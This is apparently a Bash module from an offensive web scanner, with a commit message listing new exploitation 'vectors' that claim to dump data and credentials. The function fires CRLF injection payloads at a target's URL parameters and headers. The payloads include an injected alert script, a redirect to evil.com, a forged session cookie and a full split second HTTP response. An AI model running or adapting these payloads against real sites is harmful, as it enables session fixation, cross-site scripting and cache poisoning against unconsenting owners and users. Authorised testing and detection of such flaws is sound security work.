d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
104 lines
3.5 KiB
Bash
104 lines
3.5 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 30: CRLF Injection — HTTP Response Splitting
|
|
# Desc: Detects CRLF injection in headers, params, and redirects
|
|
# Severity: CRITICAL
|
|
# Proof: Injects %0d%0a to create a second response (XSS vector)
|
|
|
|
vector_crlf_injection() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting CRLF Injection (Response Splitting)..."
|
|
|
|
local base=$(get_base "$target")
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -15)
|
|
[ -z "$urls" ] && urls="${target}?test=1"
|
|
|
|
# CRLF injection payloads
|
|
local crlf_payloads=(
|
|
"%0d%0aX-CRLF-Test:injected"
|
|
"%0d%0aX-CRLF-Test:%20injected"
|
|
"%0d%0a%0d%0a<html><script>alert(1)</script></html>"
|
|
"%0aX-CRLF-Test:injected"
|
|
"%0d%0aLocation:%20https://evil.com"
|
|
"%0d%0aSet-Cookie:%20session=attacker"
|
|
"%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>injected</html>"
|
|
"%23%0d%0aX-CRLF-Test:injected"
|
|
"%3f%0d%0aX-CRLF-Test:injected"
|
|
"%2f%0d%0aX-CRLF-Test:injected"
|
|
)
|
|
|
|
# Params to inject CRLF into
|
|
local crlf_params=(
|
|
"redirect" "url" "uri" "link" "next" "goto" "return"
|
|
"return_url" "return_to" "page" "path" "file" "dest"
|
|
"redirect_uri" "redirect_url" "callback" "referer"
|
|
"logout" "login" "signout" "error" "message" "msg"
|
|
)
|
|
|
|
# Also inject in headers
|
|
local header_injections=(
|
|
"X-Forwarded-Host: evil.com%0d%0aX-CRLF-Test:injected"
|
|
"Referer: https://evil.com%0d%0aX-CRLF-Test:injected"
|
|
)
|
|
|
|
for url in $urls; do
|
|
local base_url=$(echo "$url" | cut -d'?' -f1)
|
|
local existing_params=$(echo "$url" | cut -d'?' -f2-)
|
|
|
|
# Test URL params with CRLF payloads
|
|
for param in "${crlf_params[@]}"; do
|
|
for payload in "${crlf_payloads[@]}"; do
|
|
local test_url="${base_url}?${param}=${payload}&${existing_params}"
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 -i "$test_url" 2>/dev/null)
|
|
|
|
# Check if CRLF injection worked (header reflection)
|
|
if echo "$response" | grep -qi "X-CRLF-Test:\|X-CRLF-Test"; then
|
|
print_find "CRLF Injection Confirmed!" "${param}=${payload}"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: CRLF Injection (Response Splitting)
|
|
DETAIL: Injected HTTP headers via CRLF in ${param}
|
|
URL: $test_url
|
|
EVIDENCE: Custom header 'X-CRLF-Test' reflected in response
|
|
EXPLOIT: HTTP response splitting, cache poisoning, XSS, email injection" > "$REPORTS_DIR/.finding_crlf_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
|
|
# Check for response splitting (two HTTP responses)
|
|
local split_count=$(echo "$response" | grep -c "HTTP/1.[01]")
|
|
if [ "$split_count" -gt 1 ]; then
|
|
print_find "HTTP Response Splitting!" "Two HTTP responses in one request"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: HTTP Response Splitting
|
|
DETAIL: CRLF injection caused two HTTP responses
|
|
URL: $test_url" > "$REPORTS_DIR/.finding_rsplit_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
done
|
|
done
|
|
|
|
# Test header injection
|
|
for hdr in "${header_injections[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 -i \
|
|
-H "$hdr" \
|
|
"$url" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "X-CRLF-Test:"; then
|
|
print_find "CRLF Injection via Header!" "$hdr"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No CRLF injection found"
|
|
fi
|
|
|
|
return $findings
|
|
}
|